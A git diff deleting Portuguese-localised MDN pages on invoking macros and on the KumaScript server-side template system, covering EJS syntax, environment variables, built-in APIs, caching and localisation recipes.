-<div>{{MDNSidebar}}</div><p><span class="seoSummary">A plataforma <a href="/en-US/docs/Project:MDN/Kuma" title="/en-US/docs/Project:MDN/Kuma">Kuma</a> </span> na qual a MDN é executada, fornece um sistema de macro poderoso, <span class="seoSummary"><a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Tools/KumaScript" title="/en-US/docs/Project:MDN/Kuma/KumaScript_guide">KumaScript</a>,</span> que torna possível realizar uma grande variedade de coisas automaticamente. Este artigo fornece informação sobre como invocar as macros da MDN dentro dos artigos<span class="seoSummary">.</span></p>
-
-<p>O <a href="/en-US/docs/MDN/Contribute/Tools/KumaScript" title="/en-US/docs/Project:MDN/Kuma/KumaScript_guide">guia de KumaScript</a> fornece uma visão detalhada de como utilizar as macros na MDN, deste modo, esta secção é mais um breve resumo.</p>
-
-<h2 id="Como_as_macros_são_implementadas">Como as macros são implementadas</h2>
-
-<p>Macros on MDN are implemented using server-executed <a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a> code, interpreted using <a href="https://nodejs.org/en/" title="https://nodejs.org/en/">Node.js</a>. On top of that we have a number of libraries we've implemented that provide wiki-oriented services and features to let macros interact with the wiki platform and its contents. If you're interested in learning more, see the <a href="/en-US/docs/MDN/Contribute/Tools/KumaScript" title="/en-US/docs/Project:MDN/Kuma/KumaScript_guide">KumaScript guide</a>.</p>
-
-<h2 id="Utilização_uma_macro_no_conteúdo">Utilização uma macro no conteúdo</h2>
-
-<p>To actually use a macro, you simply enclose the call to the macro in a pair of double-braces, with its parameters, if any, enclosed in parentheses; that is:</p>
-
-<pre class="notranslate">\{{macroname(parameter-list)}}</pre>
-
-<p>A few notes about macro calls:</p>
-
-<ul>
- <li>Macro names are case-sensitive, but some attempt is made to correct for common capitalization errors; you may use all lowercase even if the macro name uses caps within it, and you may capitalize a macro whose name normally starts with a lower-case letter.</li>
- <li>Parameters are separated by commas.</li>
- <li>If there are no parameters, you may leave out the parentheses entirely; <code>\{{macroname()}}</code> and <code>\{{macroname}}</code> are identical.</li>
- <li>Numeric parameters can be in quotes, or not. It's up to you (however, if you have a version number with multiple decimals in it, it needs to be in quotes).</li>
- <li>If you get errors, review your code carefully. If you still can't figure out what's going on, see <a href="/en-US/docs/MDN/Kuma/Troubleshooting_KumaScript_errors">Troubleshooting KumaScript errors</a> for help.</li>
-</ul>
-
-<p>Macros are heavily cached; for any set of input values (both parameters and environmental values such as the URL for which the macro was run), the results are stored and reused. This means that the macro is only actually run when the inputs change.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> You can force all the macros on a page to be re-evaluated by force-refreshing the page in your browser (that is, a shift-reload).</p>
-</div>
-
-<p>Macros can be as simple as just inserting a larger block of text or swapping in contents from another part of MDN, or as complex as building an entire index of content by searching through parts of the site, styling the output, and adding links.</p>
-
-<p>You can read up on our most commonly-used macros on the <a href="/en-US/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros" title="/en-US/docs/Project:MDN/Contributing/Custom_macros">Commonly-used macros</a> page; also, there's a <a href="https://developer.mozilla.org/en-US/docs/templates" title="https://developer.mozilla.org/en-US/docs/templates">complete list of all macros</a> here. Most macros have documentation built into them, as comments at the top.</p>
-
-<p>{{EditorGuideQuicklinks}}</p>
diff --git a/files/pt-pt/mdn/tools/index.html b/files/pt-pt/mdn/tools/index.html
deleted file mode 100644
index 9030b49d4d..0000000000
--- a/files/pt-pt/mdn/tools/index.html
+++ /dev/null
@@ -1,17 +0,0 @@
----
-title: MDN tools
-slug: MDN/Tools
-tags:
- - Landing
- - MDN Meta
- - NeedsTranslation
- - TopicStub
-translation_of: MDN/Tools
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
-
-<p>MDN offers a number of features that make it easier to track progress, manage content, and keep up with the latest changes to the site.</p>
-
-<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pt-pt/mdn/tools/kumascript/index.html b/files/pt-pt/mdn/tools/kumascript/index.html
deleted file mode 100644
index e031036563..0000000000
--- a/files/pt-pt/mdn/tools/kumascript/index.html
+++ /dev/null
@@ -1,496 +0,0 @@
----
-title: KumaScript
-slug: MDN/Tools/KumaScript
-tags:
- - Ferramentas
- - Guía
- - Kuma
- - KumaScript
- - Metadados MDN
-translation_of: MDN/Tools/KumaScript
----
-<div>{{MDNSidebar}}</div><h2 id="Sinopse">Sinopse</h2>
-
-<p><span class="seoSummary">Na plataforma <a href="/pt-PT/docs/MDN/Kuma">Kuma</a> que gere a MDN, o sistema de modelo para os aspetos de automação de conteúdo na <em>wiki é chamado de </em><a class="link-https" href="https://github.com/mdn/kumascript" title="https://github.com/mdn/kumascript">KumaScript</a>. KumaScript é gerido por <em>server-side</em> JavaScript, implementado com a utilização de <a class="external" href="https://nodejs.org/en/" title="https://nodejs.org/en/">Node.js</a>.</span> Este artigo proporciona informação básica de como utilizar KumaScript.</p>
-
-<p>For a detailed overview and Q&amp;A of KumaScript, watch the MDN dev team's <a href="https://vreplay.mozilla.com/replay/showRecordDetails.html?sortBy=date&amp;viewCount=1&amp;currentPage=1&amp;groupBy=combo&amp;roomFilter=&amp;usernameFilter=&amp;searchFilter=&amp;usernameFullFilter=&amp;myManager=-1&amp;adminManager=0&amp;webCast=0&amp;command=&amp;recId=1082&amp;auxMessage=&amp;auxMessage1=&amp;lang=en&amp;langChanged=&amp;tenantFilter=&amp;securityTab=">KumaScript Fireside Chat</a> (the meeting starts at 10 minutes into the video). KumaScript replaced DekiScript, which was the template language for MindTouch, the previous platform used by MDN.</p>
-
-<h3 id="O_que_é_KumaScript">O que é KumaScript?</h3>
-
-<ul>
- <li>A way to reuse and localize content that appears repeatedly between documents (e.g., compatibility labels, section navigation, warning banners).</li>
- <li>A way to build documents out of content pulled from other documents.</li>
- <li>A way to fetch and include content from other web sites and services (e.g., Bugzilla).</li>
-</ul>
-
-<h3 id="O_que_KumaScript_não_é">O que KumaScript não é</h3>
-
-<ul>
- <li>KumaScript does not support interactive scripting of the kind that can accept form submissions.</li>
- <li>KumaScript does not have access to a database, files, or any other way to store information persistently.</li>
- <li>KumaScript does not support site personalization based on the user currently logged in.</li>
- <li>KumaScript does not have access to user information, only to the content and metadata of a wiki page being viewed.</li>
-</ul>
-
-<h2 id="Elementar">Elementar</h2>
-
-<p>KumaScript is used on MDN in <a class="link-https" href="https://github.com/visionmedia/ejs" title="https://github.com/visionmedia/ejs">embedded JavaScript templates</a>. These templates can be invoked in document content by any MDN author, through the use of macros.</p>
-
-<p>A script in KumaScript is a <em>template</em>, and each template is a file in <a href="https://github.com/mdn/kumascript/tree/master/macros">the macros directory of the KumaScript repository</a> on Github. A  <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/macros/hello.ejs" title="hello.ejs">template</a> looks like this:</p>
-
-<pre class="notranslate">&lt;% for (var i = 0; i &lt; $0; i++) { %&gt;
-Hello #&lt;%= i %&gt;
-&lt;% } %&gt;</pre>
-
-<p>Invoking a template is done with a <em>macro</em>, which can be used anywhere in any wiki content. A macro looks like this:</p>
-
-<pre class="notranslate">\{{ hello("3") }}</pre>
-
-<p>The output of the macro looks like this:</p>
-
-<pre class="notranslate">Hello #0
-Hello #1
-Hello #2</pre>
-
-<h3 id="Sintaxe_de_macro">Sintaxe de macro</h3>
-
-<p>KumaScript templates are invoked in document content with macros, like this:</p>
-
-<pre class="notranslate">\{{ templateName("arg0", "arg1", ..., "argN") }}
-</pre>
-
-<p>Macro syntax consists of these rules:</p>
-
-<ul>
- <li>Macros start and end with <code>\{{</code> and <code>\}}</code> characters.</li>
- <li>The first part of the macro is the name of a template. The lowercase value of this name should match the lowercase value of one of the filenames under <a href="https://github.com/mdn/kumascript/tree/master/macros">the macros directory of KumaScript</a>.</li>
- <li>A template can accept parameters, and this parameter list starts and ends with parentheses.</li>
- <li>All non-numeric parameters must be in quotes. Numbers can be left unquoted.</li>
-</ul>
-
-<h4 id="Utilizar_JSON_como_um_parâmetro_de_macro">Utilizar JSON como um parâmetro  de macro</h4>
-
-<p>As a semi-experimental feature (not guaranteed to work), you can supply a JSON object for the first and only parameter, like so:</p>
-
-<pre class="notranslate">\{{ templateName({ "Alpha":"one", "Beta":["a","b","c"], "Foo":"http:\/\/mozilla.org\/" }) }}
-</pre>
-
-<p>The data from this macro is available in template code as an object in the <code>$0</code> argument (e.g., <code>$0.Alpha</code>, <code>$0.Beta</code>, <code>$0.Foo</code>). This also allows you to express complex data structures in macro parameters that are hard or impossible to do with a simple list of parameters.</p>
-
-<p>Note that this parameter style is very picky — it must adhere to <a href="http://json.org/" title="http://json.org/">JSON syntax</a> exactly, which has some requirements about escaping characters that are easy to miss (e.g., all forward slashes are escaped). When in doubt, <a href="http://jsonlint.com/" title="http://jsonlint.com/">try running your JSON through a validator</a>.</p>
-
-<h4 id="Como_escrever_no_texto">Como escrever "\{{" no texto</h4>
-
-<p>Since the character sequence "<code>\{{</code>" is used to indicate the start of a macro, this can be troublesome if you actually just want to use "<code>\{{</code>" and "<code>}}</code>" in a page. It will probably produce <code>DocumentParsingError</code> messages.</p>
-
-<p>In this case, you can escape the first brace with a backslash, like so: <code>\\{</code></p>
-
-<h3 id="Sintaxe_de_modelo">Sintaxe de modelo</h3>
-
-<p>Each KumaScript template is a file under <a href="https://github.com/mdn/kumascript/tree/master/macros">the macros directory of KumaScript</a>. You create and edit these files as you would the files of any open-source project on GitHub (see <a href="https://github.com/mdn/kumascript">the KumaScript README</a> for more information).</p>
-
-<p>KumaScript templates are processed by an <a class="link-https" href="https://github.com/visionmedia/ejs" title="https://github.com/visionmedia/ejs">embedded JavaScript template engine</a> with a few simple rules:</p>
-
-<ul>
- <li>Within a template, the parameters passed in from the macro are available as the variables <code>$0</code>, <code>$1</code>, <code>$2</code>, and so on. The entire list of parameters is also available in a template as the variable <code>arguments</code>.</li>
- <li>Most text is treated as output and included in the output stream.</li>
- <li>JavaScript variables and expressions can be inserted into the output stream with these blocks:
- <ul>
- <li><code>&lt;%= expr %&gt;</code> — the value of a JavaScript expression is escaped for HTML before being included in output (e.g., characters like <code>&lt;</code> and <code>&gt;</code> are turned into <code>&amp;lt;</code> and <code>&amp;gt;</code>).</li>
- <li><code>&lt;%- expr %&gt;</code> — the value of a JavaScript expression is included in output without any escaping. (Use this if you want to dynamically build markup or use the results of another template that may include markup.)</li>
- <li>It is an error to include semicolons inside these blocks.</li>
- </ul>
- </li>
- <li>Anything inside a <code>&lt;% %&gt;</code> block is interpreted as JavaScript. This can include loops, conditionals, etc.</li>
- <li>Nothing inside a <code>&lt;% %&gt;</code> block can ever contribute to the output stream. But, you can transition from JS mode to output mode using <code>&lt;% %&gt;</code>—for example:
- <pre class="notranslate">&lt;% for (var i = 0; i &lt; $0; i++) { %&gt;
-Hello #&lt;%= i %&gt;
-&lt;% } %&gt;
-</pre>
-
- <p>Note how the JavaScript code is contained in <code>&lt;% ... %&gt;</code>, and output happens in the space between <code>%&gt; ... &lt;%</code>. The <code>for</code> loop in JS can begin with one <code>&lt;% %&gt;</code> block, transition to output mode, and finish up in a second <code>&lt;% %&gt;</code> JS block.</p>
- </li>
- <li>For more details on EJS syntax, <a class="link-https" href="https://github.com/visionmedia/ejs" title="https://github.com/visionmedia/ejs">check out the upstream module documentation</a>.</li>
-</ul>
-
-<h3 id="Dicas">Dicas</h3>
-
-<p>You can see a list of macros and how they are used on MDN on the <a href="/en-US/dashboards/macros">macros dashboard</a>.</p>
-
-<h2 id="Funcionalidades_Avançadas">Funcionalidades Avançadas</h2>
-
-<p>Beyond the basics, the KumaScript system offers some advanced features.</p>
-
-<h3 id="Variáveis_de_ambiente">Variáveis de ambiente</h3>
-
-<p>When the wiki makes a call to the KumaScript service, it passes along some context on the current document that KumaScript makes available to templates as variables:</p>
-
-<dl>
- <dt><code>env.path</code></dt>
- <dd>The path to the current wiki document</dd>
- <dt><code>env.url</code></dt>
- <dd>The full URL to the current wiki document</dd>
- <dt><code>env.id</code></dt>
- <dd>A short, unique ID for the current wiki document</dd>
- <dt><code>env.files</code></dt>
- <dd>An array of the files attached to the current wiki document; each object in the array is as described under {{ anch("File objects") }} below</dd>
- <dt><code>env.review_tags</code></dt>
- <dd>An array of the review tags on the article ("technical", "editorial", etc.)</dd>
- <dt><code>env.locale</code></dt>
- <dd>The locale of the current wiki document</dd>
- <dt><code>env.title</code></dt>
- <dd>The title of the current wiki document</dd>
- <dt><code>env.slug</code></dt>
- <dd>The URL slug of the current wiki document</dd>
- <dt><code>env.tags</code></dt>
- <dd>An array list of tag names for the current wiki document</dd>
- <dt><code>env.modified</code></dt>
- <dd>Last modified timestamp for the current wiki document</dd>
- <dt><code>env.cache_control</code></dt>
- <dd><code>Cache-Control</code> header sent in the request for the current wiki document, useful in deciding whether to invalidate caches</dd>
-</dl>
-
-<h4 id="File_objects">File objects</h4>
-
-<p>Each file object has the following fields:</p>
-
-<dl>
- <dt><code>title</code></dt>
- <dd>The attachment's title</dd>
- <dt><code>description</code></dt>
- <dd>A textual description of the current revision of the file</dd>
- <dt><code>filename</code></dt>
- <dd>The file's name</dd>
- <dt><code>size</code></dt>
- <dd>The size of the file in bytes</dd>
- <dt><code>author</code></dt>
- <dd>The username of the person who uploaded the file</dd>
- <dt><code>mime</code></dt>
- <dd>The MIME type of the file</dd>
- <dt><code>url</code></dt>
- <dd>The URL at which the file can be found</dd>
-</dl>
-
-<h4 id="Trabalhar_com_listas_de_etiqueta">Trabalhar com listas de etiqueta</h4>
-
-<p>The <code>env.tags</code> and <code>env.review_tags</code> variables return arrays of tags. You can work with these in many ways, of course, but here are a couple of suggestions.</p>
-
-<h5 id="Looking_to_see_if_a_specific_tag_is_set">Looking to see if a specific tag is set</h5>
-
-<p>You can look to see if a specific tag exists on a page like this:</p>
-
-<pre class="brush: js notranslate">if (env.tags.indexOf("tag") != −1) {
- // The page has the tag "tag"
-}
-</pre>
-
-<h5 id="Iterating_over_all_the_tags_on_a_page">Iterating over all the tags on a page</h5>
-
-<p>You can also iterate over all the tags on a page, like this:</p>
-
-<pre class="brush: js notranslate">env.tag.forEach(function(tag) {
- // do whatever you need to do, such as:
- if (tag.indexOf("a") == 0) {
- // this tag starts with "a" - woohoo!
- }
-});</pre>
-
-<h3 id="APIs_e_Módulos"><em>APIs </em>e  Módulos</h3>
-
-<p>KumaScript offers some built-in methods and APIs for KumaScript macros.  Macros can also use <code>module.exports</code> to export new API methods.</p>
-
-<p>API changes require updating the KumaScript engine or macros via a pull request to the <a href="https://github.com/mdn/kumascript">KumaScript repository</a>.</p>
-
-<h4 id="Métodos_integrados">Métodos integrados</h4>
-
-<p>This manually-maintained documentation is likely to fall out of date with the code. With that in mind, <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/lib/kumascript/api.js#L175" title="https://github.com/mdn/kumascript/blob/master/lib/kumascript/api.js#L208">you can always check out the latest state of built-in APIs in the KumaScript source</a>. But here is a selection of useful methods exposed to templates:</p>
-
-<dl>
- <dt><code>md5(string)</code></dt>
- <dd>Returns an MD5 hex digest of the given string.</dd>
- <dt><code>template("name", ["arg0", "arg1", ..., "argN"])</code></dt>
- <dd>Executes and returns the result of the named template with the given list of parameters.</dd>
- <dd>Example: <code>&lt;%- template("warning", ["foo", "bar", "baz"]) %&gt;</code>.</dd>
- <dd>Example using the <code>domxref</code> macro: <code>&lt;%- template("domxref", ["Event.bubbles", "bubbles"]) %&gt;</code>.</dd>
- <dd>This is a JavaScript function. So, if one of the parameters is an arg variable like $2, do not put it in quotes. Like this: <code>&lt;%- template("warning", [$1, $2, "baz"]) %&gt;</code>. If you need to call another template from within a block of code, do not use <code>&lt;%</code> ... <code>%&gt;</code>. Example: <code>myvar = "&lt;li&gt;" + template("LXRSearch", ["ident", "i", $1]) + "&lt;/li&gt;";</code></dd>
- <dt><code>require(name)</code></dt>
- <dd>Loads another template as a module; any output is ignored. Anything assigned to <code>module.exports</code> in the template is returned.</dd>
- <dd>Used in templates like so: <code>&lt;% var my_module = require('MyModule'); %&gt;</code>.</dd>
- <dt><code>cacheFn(key, timeout, function_to_cache)</code></dt>
- <dd>Using the given key and cache entry lifetime, cache the results of the given function. Honors the value of <code>env.cache_control</code> to invalidate cache on <code>no-cache</code>, which can be sent by a logged-in user hitting shift-refresh.</dd>
- <dt><code>request</code></dt>
- <dd>Access to <a class="link-https" href="https://github.com/mikeal/request" title="https://github.com/mikeal/request"><code>mikeal/request</code></a>, a library for making HTTP requests. Using this module in KumaScript templates is not yet very friendly, so you may want to wrap usage in module APIs that simplify things.</dd>
- <dt><code>log.debug(string)</code></dt>
- <dd>Outputs a debug message into the script log on the page (i.e. the big red box that usually displays errors).</dd>
-</dl>
-
-<h4 id="Módulos_de_API_integrados">Módulos de <em>API </em>integrados</h4>
-
-<p>There's only one API built in at the moment, in the <code>kuma</code> namespace. You can see the most up to date list of methods under <code>kuma</code> from <a href="https://github.com/mdn/kumascript/blob/master/lib/kumascript/api.js#L74">the KumaScript source code</a>, but here are a few:</p>
-
-<dl>
- <dt><code>kuma.inspect(object)</code></dt>
- <dd>Renders any JS object as a string, handy for use with <code>log.debug()</code>. See also: <a href="http://nodejs.org/api/util.html#util_util_inspect_object_options">node.js <code>util.inspect()</code></a>.</dd>
-</dl>
-
-<dl>
- <dt><code>kuma.htmlEscape(string)</code></dt>
- <dd>Escapes the characters <code>&amp;, &lt;, &gt;, "</code> to <code>&amp;amp, &amp;lt;, &amp;gt;, &amp;quot;</code>, respectively.</dd>
- <dt><code>kuma.url</code></dt>
- <dd>See also: <a href="http://nodejs.org/api/url.html">node.js <code>url</code> module</a>.</dd>
- <dt><code>kuma.fetchFeed(url)</code></dt>
- <dd>Fetch an RSS feed and parse it into a JS object. See also: <a href="https://github.com/mdn/kumascript/blob/master/macros/InsertFeedLinkList.ejs"><code>InsertFeedLinkList</code></a></dd>
-</dl>
-
-<h4 id="Criar_módulos">Criar módulos</h4>
-
-<p>Using the built-in <code>require()</code> method, you can load a template as a module to share common variables and methods between templates. A module can be defined in a template like this:</p>
-
-<pre class="notranslate">&lt;%
-module.exports = {
- add: function (a, b) {
- return a + b;
- }
-}
-%&gt;
-</pre>
-
-<p>Assuming this template is saved under <a href="https://github.com/mdn/kumascript/tree/master/macros">https://github.com/mdn/kumascript/tree/master/macros</a> as <code>MathLib.ejs</code>, you can use it in another template like so:</p>
-
-<pre class="notranslate">&lt;%
-var math_lib = require("MathLib");
-%&gt;
-The result of 2 + 2 = &lt;%= math_lib.add(2, 2) %&gt;
-</pre>
-
-<p>And, the output of this template will be:</p>
-
-<pre class="notranslate">The result of 2 + 2 = 4
-</pre>
-
-<h4 id="Módulos_carregados_automaticamente">Módulos carregados automaticamente</h4>
-
-<p>There are a set of modules editable as wiki templates that are automatically loaded and made available to every template. This set is defined in the configuration file for the KumaScript service - any changes to this requires an IT bug to edit configuration and a restart of the service.</p>
-
-<p>For the most part, these attempt to provide stand-ins for legacy DekiScript features to ease template migration. But, going forward, these can be used to share common variables and methods between templates:</p>
-
-<ul>
- <li><code>mdn.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/macros/MDN-Common.ejs" title="MDN:Common">MDN-Common</a></li>
- <li><code>Page.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/macros/DekiScript-Page.ejs" title="DekiScript:Page">DekiScript-Page</a></li>
- <li><code>String.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/macros/DekiScript-String.ejs" title="DekiScript:String">DekiScript-String</a></li>
- <li><code>Uri.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/macros/DekiScript-Uri.ejs" title="DekiScript:Uri">DekiScript-Uri</a></li>
- <li><code>Web.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/macros/DekiScript-Web.ejs" title="DekiScript:Web">DekiScript-Web</a></li>
- <li><code>Wiki.*</code> - <a class="link-https" href="https://github.com/mdn/kumascript/blob/master/macros/DekiScript-Wiki.ejs" title="DekiScript:Wiki">DekiScript-Wiki</a></li>
-</ul>
-
-<p><strong>Note:</strong> You might notice that the DekiScript modules use a built-in method named <code>buildAPI()</code>, like so:</p>
-
-<pre class="notranslate">&lt;% module.exports = buildAPI({
- StartsWith: function (str, sub_str) {
- return (''+str).indexOf(sub_str) === 0;
- }
-}); %&gt;
-</pre>
-
-<p>The reason for this is because DekiScript is case-insensitive when it comes to references to API methods, whereas JavaScript is strict about uppercase and lowercase in references. So, <code>buildAPI()</code> is a hack to try to cover common case variations in DekiScript calls found in legacy templates.</p>
-
-<div class="note">
-<p>Com isso em mente, por favor, não utilize <code>buildAPI()</code> nos novos módulos.</p>
-</div>
-
-<h2 id="Dicas_e_avisos">Dicas e avisos</h2>
-
-<h3 id="Depuração">Depuração</h3>
-
-<p>A useful tip when debugging. You can use the <code>log.debug()</code> method to output text to the scripting messages area at the top of the page that's running your template. Note that you need to be really sure to remove these when you're done debugging, as they're visible to all users! To use it, just do something like this:</p>
-
-<pre class="notranslate">&lt;%- log.debug("Some text goes here"); %&gt;
-</pre>
-
-<p>You can, of course, create more complex output using script code if it's helpful.</p>
-
-<h3 id="Colocação_em_cache">Colocação em cache</h3>
-
-<p>KumaScript templates are heavily cached to improve performance. For the most part, this works great to serve up content that doesn't change very often. But, as a logged-in user, you have two options to force a page to be regenerated, in case you notice issues with scripting:</p>
-
-<ul>
- <li>Hit Refresh in your browser. This causes KumaScript to invalidate its cache for the content on the current page by issuing a request with a <code>Cache-Control: max-age=0</code> header.</li>
- <li>Hit Shift-Refresh in your browser. This causes KumaScript to invalidate cache for the current page, as well as for any templates or content used by the current page by issuing a request with a <code>Cache-Control: no-cache</code> header.</li>
-</ul>
-
-<h3 id="Utilizar_palavras-chave_na_pesquisa_para_abrir_páginas_modelo">Utilizar palavras-chave na pesquisa para abrir páginas modelo</h3>
-
-<p>When using templates, it's common to open the template's code in a browser window to review the comments at the top, which are used to document the template, its parameters, and how to use it properly. To quickly access templates, you can create a Firefox <a href="http://kb.mozillazine.org/Using_keyword_searches">search keyword</a>, which gives you a shortcut you can type in the URL box to get to a template more easily.</p>
-
-<p>To create a search keyword, open the bookmarks window by choosing "Show all bookmarks" in the Bookmarks menu, or by pressing <kbd>Control</kbd>-<kbd>Shift</kbd>-<kbd>B</kbd> (<kbd>Command</kbd>-<kbd>Shift</kbd>-<kbd>B</kbd> on Mac). Then from the utility ("Gear") menu in the Library window that appears, choose "New Bookmark...".</p>
-
-<p>This causes the bookmark editing dialog to appear. Fill that out as follows:</p>
-
-<dl>
- <dt>Name</dt>
- <dd>A suitable name for your search keyword; "Open MDN Template" is a good one.</dd>
- <dt>Location</dt>
- <dd><kbd>https://github.com/mdn/kumascript/blob/master/macros/%s</kbd></dd>
- <dt>Tags {{optional_inline}}</dt>
- <dd>A list of tags used to organize your bookmarks; these are entirely optional and what (if any) tags you use is up to you.</dd>
- <dt>Keyword</dt>
- <dd>The shortcut text you wish to use to access the template. Ideally, this should be something short and quick to type, such as simply "t" or "mdnt".</dd>
- <dt>Description {{optional_inline}}</dt>
- <dd>A suitable description explaining what the search keyword does.</dd>
-</dl>
-
-<p>The resulting dialog looks something like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14432/Screen%20Shot%202016-11-28%20at%203.08.39%20PM.png" style="height: 289px; width: 500px;"></p>
-
-<p>Then click the "Add" button to save your new search keyword. From then on, typing your keyword, then a space, then the name of a macro will open that macro in your current tab. So if you used "t" as the keyword, typing <kbd>t ListSubpages</kbd> will show you the page at {{TemplateLink("ListSubpages")}}.</p>
-
-<h2 id="Cookbook"><em>Cookbook</em></h2>
-
-<p>This section will list examples of common patterns for templates used on MDN, including samples of legacy DekiScript templates and their new KumaScript equivalents.</p>
-
-<h3 id="Force_templates_used_on_a_page_to_be_reloaded">Force templates used on a page to be reloaded</h3>
-
-<p>It bears repeating: To force templates used on a page to be reloaded after editing, hit Shift-Reload. Just using Reload by itself will cause the page contents to be regenerated, but using cached templates and included content. A Shift-Reload is necessary to invalidate caches beyond just the content of the page itself.</p>
-
-<h3 id="Recovering_from_Unknown_Error">Recovering from "Unknown Error"</h3>
-
-<p>Sometimes, you'll see a scripting message like this when you load a page:</p>
-
-<pre class="notranslate">Kumascript service failed unexpectedly: &lt;class 'httplib.BadStatusLine'&gt;</pre>
-
-<p>This is probably a temporary failure of the KumaScript service. If you Refresh the page, the error may disappear. If that doesn't work, try a Shift-Refresh. If, after a few tries, the error persists - <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org&amp;format=itrequest">file an IT bug</a> for Mozilla Developer Network to ask for an investigation.</p>
-
-<h3 id="Broken_wiki.languages_macros">Broken wiki.languages() macros</h3>
-
-<p>On some pages, you'll see a scripting error like this:</p>
-
-<pre class="notranslate">Syntax error at line 436, column 461: Expected valid JSON object as the parameter of the preceding macro but...
-</pre>
-
-<p>If you edit the page, you'll probably see a macro like this at the bottom of the page:</p>
-
-<pre class="notranslate">\{{ wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) }}
-</pre>
-
-<p>To fix the problem, just delete the macro. Or, replace the curly braces on either side with HTML comments <code>&lt;!-- --&gt;</code> to preserve the information, like so:</p>
-
-<pre class="notranslate">&lt;!-- wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) --&gt;
-</pre>
-
-<p>Because Kuma supports localization differently, these macros aren't actually needed any more. But, they've been left intact in case we need to revisit the relationships between localized pages. Unfortunately, it seems like migration has failed to convert some of them properly.</p>
-
-<h3 id="Finding_the_Current_Pages_Language">Finding the Current Page's Language</h3>
-
-<p>In KumaScript, the locale of the current document is exposed as an environment variable:</p>
-
-<pre class="notranslate">var lang = env.locale;
-</pre>
-
-<p>The <code>env.locale</code> variable should be reliable and defined for every document.</p>
-
-<h3 id="Reading_the_contents_of_a_page_attachment">Reading the contents of a page attachment</h3>
-
-<p>You can read the contents of an attached file by using the <code>mdn.getFileContent()</code> function, like this:</p>
-
-<pre class="notranslate">&lt;%
-  var contents = mdn.getFileContent(fileUrl);
-  ... do stuff with the contents ...
-%&gt;
-</pre>
-
-<p>or</p>
-
-<pre class="notranslate">&lt;%-mdn.getFileContent(fileObject)%&gt;
-</pre>
-
-<p>In other words, you may specify either the URL of the file to read or as a file object. The file objects for a page can be accessed through the array <code>env.files</code>. So, for example, to embed the contents of the first file attached to the article, you can do this:</p>
-
-<pre class="notranslate">&lt;%-mdn.getFileContent(env.files[0])%&gt;
-</pre>
-
-<div class="note"><strong>Nota: </strong>provavelmente não quer tentar incorporar o conteúdo de um ficheiro não texto desta forma, já que o conteúdo bruto seria injetado como texto. Isto serve para permitir que aceda aos conteúdos dos anexos de texto.</div>
-
-<p>If the file isn't found, an empty string is returned. There is currently no way to tell the difference between an empty file and a nonexistent one. But if you're putting empty files on the wiki, you're doing it wrong.</p>
-
-<h3 id="Localizar_conteúdo_de_modelo">Localizar conteúdo de modelo</h3>
-
-<p>Templates are not translated like wiki pages, rather any single template might be used for any number of locales.</p>
-
-<p>So the main way to output content tailored to the current document locale is to pivot on the value of <code>env.locale</code>. There are many ways to do this, but a few patterns are common in the conversion of legacy DekiScript templates:</p>
-
-<h4 id="Ifelse_blocks_in_KumaScript">If/else blocks in KumaScript</h4>
-
-<p>The KumaScript equivalent of this can be achieved with simple if/else blocks, like so:</p>
-
-<pre class="notranslate">&lt;% if ("fr" == env.locale) { %&gt;
-&lt;%- template("CSSRef") %&gt; « &lt;a title="Référence_CSS/Extensions_Mozilla" href="/fr/docs/Référence_CSS/Extensions_Mozilla"&gt;Référence CSS:Extensions Mozilla&lt;/a&gt;
-&lt;% } else if ("ja" == env.locale) { %&gt;
-&lt;%- template("CSSRef") %&gt; « &lt;a title="CSS_Reference/Mozilla_Extensions" href="/ja/docs/CSS_Reference/Mozilla_Extensions"&gt;CSS リファレンス:Mozilla 拡張仕様&lt;/a&gt;
-&lt;% } else if ("pl" == env.locale) { %&gt;
-&lt;%- template("CSSRef") %&gt; « &lt;a title="Dokumentacja_CSS/Rozszerzenia_Mozilli" href="/pl/docs/Dokumentacja_CSS/Rozszerzenia_Mozilli"&gt;Dokumentacja CSS:Rozszerzenia Mozilli&lt;/a&gt;
-&lt;% } else if ("de" == env.locale) { %&gt;
-&lt;%- template("CSSRef") %&gt; « &lt;a title="CSS_Referenz/Mozilla_CSS_Erweiterungen" href="/de/docs/CSS_Referenz/Mozilla_CSS_Erweiterungen"&gt;CSS Referenz: Mozilla Erweiterungen&lt;/a&gt;
-&lt;% } else { %&gt;
-&lt;%- template("CSSRef") %&gt; « &lt;a title="CSS_Reference/Mozilla_Extensions" href="/en-US/docs/CSS_Reference/Mozilla_Extensions"&gt;CSS Reference:Mozilla Extensions&lt;/a&gt;
-&lt;% } %&gt;
-</pre>
-
-<p>Depending on what text editor is your favorite, you may be able to copy &amp; paste from the browser-based editor and attack this pattern with a series of search/replace regexes to get you most of the way there.</p>
-
-<p>My favorite editor is MacVim, and a series of regexes like this does the bulk of the work with just a little manual clean up following:</p>
-
-<pre class="notranslate">%s#&lt;span#^M&lt;span#g
-%s#&lt;span lang="\(.*\)" .*&gt;#&lt;% } else if ("\1" == env.locale) { %&gt;#g
-%s#&lt;span class="script"&gt;template.Cssxref(#&lt;%- template("Cssxref", [#
-%s#)&lt;/span&gt; &lt;/span&gt;#]) %&gt;
-</pre>
-
-<p>Your mileage may vary, and patterns change slightly from template to template. That's why the migration script was unable to just handle this automatically, after all.</p>
-
-<h4 id="String_variables_and_switch">String variables and switch</h4>
-
-<p>Rather than switch between full chunks of markup, you can define a set of strings, switch them based on locale, and then use them to fill in placeholders in a single chunk of markup:</p>
